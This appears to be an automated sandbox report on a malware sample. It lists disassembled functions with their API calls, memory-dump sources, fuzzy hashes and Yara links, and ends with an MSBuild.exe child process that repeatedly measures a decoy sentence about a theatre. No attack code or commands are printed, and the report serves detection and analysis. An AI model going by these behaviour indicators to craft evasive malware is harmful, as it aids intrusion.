Opcode Fuzzy Hash: 358ca89e76f26a7a855c71ca734a84b5f90166d73cc6fb1c7da4dfbcf5cfade8
Instruction Fuzzy Hash: 65018472500519EBCB25BB54D8498AE7F6CFF90760B200149FC05BB291EF34AE02CB80

Function 00584308 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00584315
int.LIBCPMT ref: 00584328

Part of subcall function 005816B4: std::_Lockit::_Lockit.LIBCPMT ref: 005816C5
Part of subcall function 005816B4: std::_Lockit::~_Lockit.LIBCPMT ref: 005816DF

std::_Facet_Register.LIBCPMT ref: 0058435B
std::_Lockit::~_Lockit.LIBCPMT ref: 00584371
Concurrency::cancel_current_task.LIBCPMT ref: 0058437C

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: b5186d2b851ccfb8a46d469dc39a4452d9e2416c563012feca66d200fbce0cc4
Instruction ID: c528ba5eaf6e0b6fc2ab8df3e0ef41c78c70a88ec9e01c70d36a4393da341ca9
Opcode Fuzzy Hash: b5186d2b851ccfb8a46d469dc39a4452d9e2416c563012feca66d200fbce0cc4
Instruction Fuzzy Hash: 6601A73250051AE7CB15BB64D9098AE7F68BFD4750B100558FC05BB291EF349E46DFC4

Function 005C961A Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 005C9626

Part of subcall function 005C8E77: __getptd_noexit.LIBCMT ref: 005C8E7A
Part of subcall function 005C8E77: __amsg_exit.LIBCMT ref: 005C8E87

__getptd.LIBCMT ref: 005C963D
__amsg_exit.LIBCMT ref: 005C964B
__lock.LIBCMT ref: 005C965B
__updatetlocinfoEx_nolock.LIBCMT ref: 005C966F

Memory Dump Source

Source File: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 9141d4d236c8230aa4afe5b4a9d8ccb2514574f5d49c72fbeb20a3e596f06de6
Instruction ID: 1cf9cdd7cc29a92f5c4f4c9e595d78e1f3cd5c102a66cbd1994f2d9ddf43a3fb
Opcode Fuzzy Hash: 9141d4d236c8230aa4afe5b4a9d8ccb2514574f5d49c72fbeb20a3e596f06de6
Instruction Fuzzy Hash: EBF0CD32A046169EDB21BBE8580EF293FA0BF80B24F58014DE404A66D2CF245980CA9A

Function 0058A060 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0058A09F
__IsNonwritableInCurrentImage.LIBCMT ref: 0058A153

Strings

R[X, xrefs: 0058A16C
csm, xrefs: 0058A13D

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: R[X$csm
API String ID: 3480331319-2653959866
Opcode ID: 1713248fa59dae0152f53a10389433f27ba5eecf8bce31a0907d6f90c60ecb69
Instruction ID: 1008aaea92c871a52413e7c63f6d37113e870595e9d08751aa7a0940fd6acd7b
Opcode Fuzzy Hash: 1713248fa59dae0152f53a10389433f27ba5eecf8bce31a0907d6f90c60ecb69
Instruction Fuzzy Hash: B541A134A002099BDF10EF68C889A9EBFB5FF85324F148056EC157B392D735AA45CB92

Function 0058B3A2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0058B353,00000000,?,005FB6DC,?,?,?,0058B4F6,00000004,InitializeCriticalSectionEx,005A4BD8,InitializeCriticalSectionEx), ref: 0058B3AF
GetLastError.KERNEL32(?,0058B353,00000000,?,005FB6DC,?,?,?,0058B4F6,00000004,InitializeCriticalSectionEx,005A4BD8,InitializeCriticalSectionEx,00000000,?,0058B2AD), ref: 0058B3B9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0058B3E1

Strings

api-ms-, xrefs: 0058B3C6

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 607a6ef045e6c4f9bb26d18f8b17b2f598794b7d7ade7b6243e0b6d6045697cb
Instruction ID: 7924aeec640a5faab8910b197960b1727733a9298a0ca4fbbd986cac93d4d7d2
Opcode Fuzzy Hash: 607a6ef045e6c4f9bb26d18f8b17b2f598794b7d7ade7b6243e0b6d6045697cb
Instruction Fuzzy Hash: 66E01A30280208B7FF212BB1EC4EB193E58BB11B45F100421FA4CF84E1EBA29A549AD4

Function 00597747 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(4469CFAA,00000000,00000000,00000000), ref: 005977AA

Part of subcall function 0059952A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00598FD3,?,00000000,-00000008), ref: 005995D6

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00597A05
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00597A4D
GetLastError.KERNEL32 ref: 00597AF0

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 70654a9ad5acf52cb1c195058843348c739fe745bf6b9409a27d763a5a951636
Instruction ID: b856922112cabdcff0b09e93f03685dfc23106faed79cd5d72628e94d5edda48
Opcode Fuzzy Hash: 70654a9ad5acf52cb1c195058843348c739fe745bf6b9409a27d763a5a951636
Instruction Fuzzy Hash: 16D178B5E14259AFCF05CFA8C8849ADBFB5FF49310F18452AE866EB351D730A942CB50

Function 005A06EF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,0059F713,00000000,00000001,00000000,00000000,?,00597B44,00000000,00000000,00000000), ref: 005A0706
GetLastError.KERNEL32(?,0059F713,00000000,00000001,00000000,00000000,?,00597B44,00000000,00000000,00000000,00000000,00000000,?,005980CB,00000000), ref: 005A0712

Part of subcall function 005A06D8: CloseHandle.KERNEL32(FFFFFFFE,005A0722,?,0059F713,00000000,00000001,00000000,00000000,?,00597B44,00000000,00000000,00000000,00000000,00000000), ref: 005A06E8

___initconout.LIBCMT ref: 005A0722

Part of subcall function 005A069A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,005A06C9,0059F700,00000000,?,00597B44,00000000,00000000,00000000,00000000), ref: 005A06AD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,0059F713,00000000,00000001,00000000,00000000,?,00597B44,00000000,00000000,00000000,00000000), ref: 005A0737

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 3858c370960d09ddb25a292e03d537be55080c8cbce6ff45205228e07a8a25d4
Instruction ID: 61506644c9da308d77e64a707bcd03126d2c995a2341aba5fb52e1c80a8c9717
Opcode Fuzzy Hash: 3858c370960d09ddb25a292e03d537be55080c8cbce6ff45205228e07a8a25d4
Instruction Fuzzy Hash: 64F03036110555BBCF222FD5DC0998D7FA6FB5B3A5B044010FA1A96570CA328D30EF91

Function 005A1093 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,005A09EF), ref: 005A10AC

Strings

R[X, xrefs: 005A1176, 005A1220, 005A1266
LiZ, xrefs: 005A1241

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: LiZ$R[X
API String ID: 3527080286-1057543781
Opcode ID: 6bb30f15c7a0280f8532260fe3f8e6791382efc698dfe9f6c0fc9bf84af9e50e
Instruction ID: 1208a0649b877092ea43aab39212a82decea160711b6cb8803d5cddace065b7b
Opcode Fuzzy Hash: 6bb30f15c7a0280f8532260fe3f8e6791382efc698dfe9f6c0fc9bf84af9e50e
Instruction Fuzzy Hash: 6951AA7490090ADFDF108FA9E94C2BEBFB4FF4B304F144545E691A6264CB74CA29CB59

Function 00585F4D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

_Fputc.LIBCPMT ref: 00586026

Strings

R[X, xrefs: 00586005

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: Fputc
String ID: R[X
API String ID: 3078413507-2894495381
Opcode ID: 5684e6aa965e849f8988591c026097f883a5d208a342ea876489e07dda06f2ae
Instruction ID: 0c8e4a1ce50f38108647ec2dda52fbfe0609f7220ba977aba31201e4276e23a9
Opcode Fuzzy Hash: 5684e6aa965e849f8988591c026097f883a5d208a342ea876489e07dda06f2ae
Instruction Fuzzy Hash: 54414D7691061AABCF14EF64C4848EDBBB9FF09354B144466EA42B7640FB31FD45CBA0

Function 0058A96D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 0058A992

Strings

RCC, xrefs: 0058A9AC
MOC, xrefs: 0058A9A4

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ba61c7f8127428fae133dde144dcd77c1b1afda11293d7bba58182077b3c0cd0
Instruction ID: 2d85b97c0cd48dba1ae559bae5015fefa0a40048f0950cc13d1b8a8f982d7341
Opcode Fuzzy Hash: ba61c7f8127428fae133dde144dcd77c1b1afda11293d7bba58182077b3c0cd0
Instruction Fuzzy Hash: E741587190020AAFEF16EF98C981AAEBBB5BF48304F19405AFE05B7211D3359950DB52

Function 005C4FD8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 005C504A
__aulldiv.LIBCMT ref: 005C5058

Strings

@, xrefs: 005C5025

Memory Dump Source

Source File: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: bd86980fb386635e41300d44a539ffbd3318a96fa9617d443f55409269ead211
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: F82138B1E44209AFDB00DFD4CC49FAEBBB9FB45B00F204609F605BB280D77869018BA5

Function 00585107 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00585113
std::_Lockit::~_Lockit.LIBCPMT ref: 0058516F

Strings

R[X, xrefs: 0058513A, 00585154

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: R[X
API String ID: 593203224-2894495381
Opcode ID: 370d697280c3785bc3a6198fd216db27dac00be2d8d2f52f9f33ec99b749e67a
Instruction ID: 29a3de32e16485b27c03dc8642a804f60d6667818ada069b2aaa91ced558657b
Opcode Fuzzy Hash: 370d697280c3785bc3a6198fd216db27dac00be2d8d2f52f9f33ec99b749e67a
Instruction Fuzzy Hash: 18019E35600519AFCB04EB54C889E9D7BB9FF85714B0400A9EC01AB3A1EF70EE05CB50

Function 005AE0F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 005AE130
__aulldiv.LIBCMT ref: 005AE13E

Strings

@, xrefs: 005AE10B

Memory Dump Source

Source File: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: a84b467426451ba7aaf8fc88165a3537633b73381669c1a81b0ed05ea7ebf36e
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 1101FBB0D40309FBEB10DBE0CC4AB9DBE79FB45705F608459E70476281D6B85946CB55

Function 005815DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005815E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0058161E

Part of subcall function 00585178: _Yarn.LIBCPMT ref: 00585197
Part of subcall function 00585178: _Yarn.LIBCPMT ref: 005851BB

Strings

bad locale name, xrefs: 0058162C

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: ca8a1a21042bd135876e39ca62a1dac5c013c0a4ef527fcd54b30e82f60a7e80
Instruction ID: 1dcf703149cc1c493e1ea239dfd7c229fb0710bab08ce22e7860cbed9c7a6d39
Opcode Fuzzy Hash: ca8a1a21042bd135876e39ca62a1dac5c013c0a4ef527fcd54b30e82f60a7e80
Instruction Fuzzy Hash: 78F01771506B919E8331AF7A8485447FFE8BE693103948A2EE4DED3A11D734A404CB6A

Function 005962A6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 26COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?), ref: 005962E6

Strings

InitializeCriticalSectionEx, xrefs: 005962B6
R[X, xrefs: 005962D6

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx$R[X
API String ID: 2593887523-2399211035
Opcode ID: cc80070a387fdf8642f0f208b3027a452b80dce765248b9853d6d7c23c282431
Instruction ID: 86d8bfcb23298e54ae52bae5a6c2e8da4e637a6e73c7ef0f76b9edcff823680a
Opcode Fuzzy Hash: cc80070a387fdf8642f0f208b3027a452b80dce765248b9853d6d7c23c282431
Instruction Fuzzy Hash: C3E01236544218BBCF122F91EC0AE9E7F15FB557A1B048021FD2815160C7B2D965EAD4

Function 0059612C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00596160

Strings

R[X, xrefs: 00596156
FlsAlloc, xrefs: 0059613C

Memory Dump Source

Source File: 00000000.00000002.1958197681.0000000000581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00580000, based on PE: true

Associated: 00000000.00000002.1958180863.0000000000580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958224875.00000000005A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958301660.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958339691.00000000005FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1958372605.00000000005FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_580000_5rVhexjLCx.jbxd

Yara matches

Similarity

API ID: Alloc
String ID: FlsAlloc$R[X
API String ID: 2773662609-3123135942
Opcode ID: 59a230934cda3040687135b66914d4369692910104d8b5cc803e1738a6f7dd32
Instruction ID: 703868e784a3ffd61a68801136cc8c21b5d38756fc9a0fea10fd3768007835a5
Opcode Fuzzy Hash: 59a230934cda3040687135b66914d4369692910104d8b5cc803e1738a6f7dd32
Instruction Fuzzy Hash: 1EE0273578471C73CB1127B0DD0DE9F7E14FB56B71B014020FE0415191CAE55904F5D5

Analysis Process: MSBuild.exePID: 7072, Parent PID: 7000COMMON

Execution Graph

Execution Coverage:	13.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.6%
Total number of Nodes:	1529
Total number of Limit Nodes:	3

Executed Functions

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
